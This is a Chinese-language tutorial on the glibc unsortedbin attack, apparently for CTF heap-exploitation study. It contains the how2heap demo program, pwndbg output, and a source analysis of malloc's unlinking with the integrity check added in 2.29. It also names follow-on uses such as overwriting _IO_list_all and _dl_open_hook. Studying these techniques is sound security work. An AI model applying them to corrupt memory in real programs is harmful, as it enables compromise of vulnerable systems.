简介
漏洞原因
Overflow
,WAF
适用范围:
libc 2.23~2.29
- 可以伪造
unsortedbin chunk
的bk
指针
利用原理
这个攻击允许把arena unsortedbin的地址写入任意位置,这个过程被称为partial unlinking,出现的原因是因为断链的时候没有检查双链表完整性,当伪造链表bk指针的时候,会把unsortedbin地址写入其+0x10的位置中
相关技巧
- 可以泄露glibc地址
- 可以绕过libio vtable完整性检查去重写
_dl_open_hook
函数, - 可以覆盖
_IO_list_all
指针(house of orange)
利用效果
执行一次反射写,把glibc地址写入可控地址
实验:how2heap - unsortedbin attack
实验环境:libc 2.23
#include <stdio.h>
#include <stdlib.h>
int main(){
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");
unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
unsigned long *p=malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);
free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
//------------------------------------
malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}
首先是条件准备:需要一个 unsortedbin
pwndbg> bin
fastbins
empty
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
smallbins
empty
largebins
empty
然后模拟漏洞情况,unsortedbin的bk被写入一个可控地址
pwndbg> unsortedbin
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x602000 —▸ 0x7fffffffdfa8 —▸ 0x602010 ◂— 0x0
stack_var-0x10地址内容:
pwndbg> dq &stack_var-2
00007fffffffdfa8 00000000004007c6 0000000000400890
00007fffffffdfb8 0000000000000000 0000000000602010 // 这个 0x602010 是局部变量p
00007fffffffdfc8 be4d3c756d8c1300 0000000000400890
00007fffffffdfd8 00007ffff7a2d840 0000000000000001
当再次申请内存的时候,触发unsortedbin相关的处理,导致fd的值被写入bk地址:
pwndbg> p/x stack_var
$2 = 0x7ffff7dd1b78
为什么会这样呢?
源码分析断链处理过程
当fastbin,smallbin,largebin无法处理,且last remainder也无法处理,就会进入这里:
/* remove from unsorted list */
// 断链
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
/* Take now instead of binning if exact fit */
// 如果大小精准匹配,就直接分配返回
if (size == nb)
{
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
这里的断链操作导致了unsortedbin attack得以实现
新版本的修复:(略去tcachebin的处理)
/* remove from unsorted list */
// 断链
if (__glibc_unlikely(bck->fd != victim))
malloc_printerr("malloc(): corrupted unsorted chunks 3");
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
/* Take now instead of binning if exact fit */
// 如果大小刚好精准匹配,就分配
if (size == nb)
{
// 设置下一个chunk的prev_inuse标志
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
set_non_main_arena(victim);
...
// 返回分配的内存地址给用户
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
...
}
原先的断链得以实现任意写是因为:
unsorted_chunks(av)->bk = bck; // 把可控地址的bk写给unsortedbin头指针
bck->fd = unsorted_chunks(av); // 给可控地址的fd写入unsortedbin头指针
后来新增了一个条件判断:检查双链表完整性
if (__glibc_unlikely(bck->fd != victim))
malloc_printerr("malloc(): corrupted unsorted chunks 3");
这意味着,要能通过安全检查,需要fd位置有arena对应的地址才行,而进行unsortedbin attack利用的目的是往fd位置写入arena对应的地址
因此,这个利用手法失效,该检查于2.29版本被添加